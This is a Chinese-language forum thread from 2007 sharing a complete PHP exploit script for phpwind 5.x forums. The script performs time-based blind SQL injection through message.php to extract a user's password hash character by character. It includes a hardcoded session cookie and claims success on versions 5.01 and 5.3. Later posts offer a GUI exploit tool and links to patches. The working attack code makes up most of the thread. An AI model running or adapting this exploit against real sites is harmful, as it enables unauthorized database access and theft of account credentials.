=八面玲珑=
职务:观察员
积分：1739
贴数：1093
日期：2007-4-7 9:31:31
phpwind exp
帖出来给大家研究。
昨天官网没出补丁，已经尝试了5.01 跟5.3版本，全部通杀。
程序代码
<?php
print_r("
+------------------------------------------------------------------+
Exploit For Phpwind 5.X Version
BY Loveshell
Just For Fun :)
+------------------------------------------------------------------+
");
ini_set("max_execution_time",0);
error_reporting(7);
$bbspath="$argv[2]";
$server="$argv[1]";
$cookie=‘1ae40_lastfid=0; 1ae40_ol_offset=776; 1ae40_ck_info=%2F%09.72m.net; 1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D; 1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;
$useragent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
$uid=intval($argv[3])>0 ? intval($argv[3]):1;
echo "\r\n#Logging\t........";
if(islogin()) echo "Login Ok!\r\n";
else die("Not Login!\tCheck Your Cookie and Useragent!\r\n");
echo "#Testing\t........";
if(test()) echo "Vul!\r\n";
else die("Not Vul");
$hashtable=‘0123456789abcdef‘;
$count=0;
echo "#Cracking\t\r\n\r\n";
for($i=1;$i<=16;$i++){
echo "第\t$i\t位:";
$subpass=crack($i+8);
$password=$password.$subpass;
echo "$subpass\r\n";
}
echo "Password:\t$password";
echo "\r\nGood Luck $count Times\r\n";
function send($cmd,$path)
{
global $bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;
$path=$bbspath."$path";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= "\r\n";
$message .= $cmd."\r\n";
$count=$count+1;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "
";";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="
if($debug) {echo $cmd;echo $resp;}
// echo $resp;
return $resp;
}
function sqlject($sql){
global $uid;
$data=‘action=pubmsg&readmsg=0)‘;
$data=$data." union select BENCHMARK(1000000,md5(12345)) from pw_members where uid=$uid and $sql".‘/*‘;
$echo=send($data,‘message.php‘);
preg_match("/Total (.*)\(/i",$echo,$matches);
if($matches[1]>2) return 1;
else return 0;
}
function test(){
global $uid;
$data=‘action=pubmsg&readmsg=0)‘;
$echo=send($data,‘message.php‘);
if(strpos($echo,‘MySQL Server Error‘)) return 1;
else return 0;
}
function islogin(){
global $uid;
$data=‘action=pubmsg&readmsg=0)‘;
$echo=send($data,‘message.php‘);
if(strpos($echo,‘login.php"‘)) return 0;
else return 1;
}
function crack($i){
global $hashtable;
$sql="mid(password,$i,1)>0x".bin2hex(‘8‘);
if(sqlject($sql)){
$a=8;
$b=15;}
else {
$a=0;
$b=8;
}
for($tmp=$a;$tmp<=$b;$tmp++){
$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);
if(sqlject($sql)) return $hashtable[$tmp];
}
crack($i);
}
?>
=八面玲珑=
职务:观察员
积分：1739
贴数：1093
日期: 2007-4-7 9:33:01 点击下载：
gui 利用工具下载：=八面玲珑=
职务:观察员
积分：1739
贴数：1093
日期: 2007-4-7 9:37:53 点击下载：
补丁包下载：希望有用phpwind的补天朋友及时打好补丁。
5.3 版补丁下载
=八面玲珑=
职务:观察员
积分：1739
贴数：1093
日期: 2007-4-7 9:38:41 点击下载：
5.0.1 版补丁下载=学富五车=
积分：5123
贴数：577
日期: 2007-4-7 14:32:12 我的已经打过补丁了.
=八面玲珑=
职务:观察员
积分：1739
贴数：1093
日期: 2007-4-8 16:37:42 官方出补丁太慢了。。
我的网站入侵了好几天，它那边才出补丁。
IE不断爆出漏洞，使用FireFox浏览器，会更安全一些：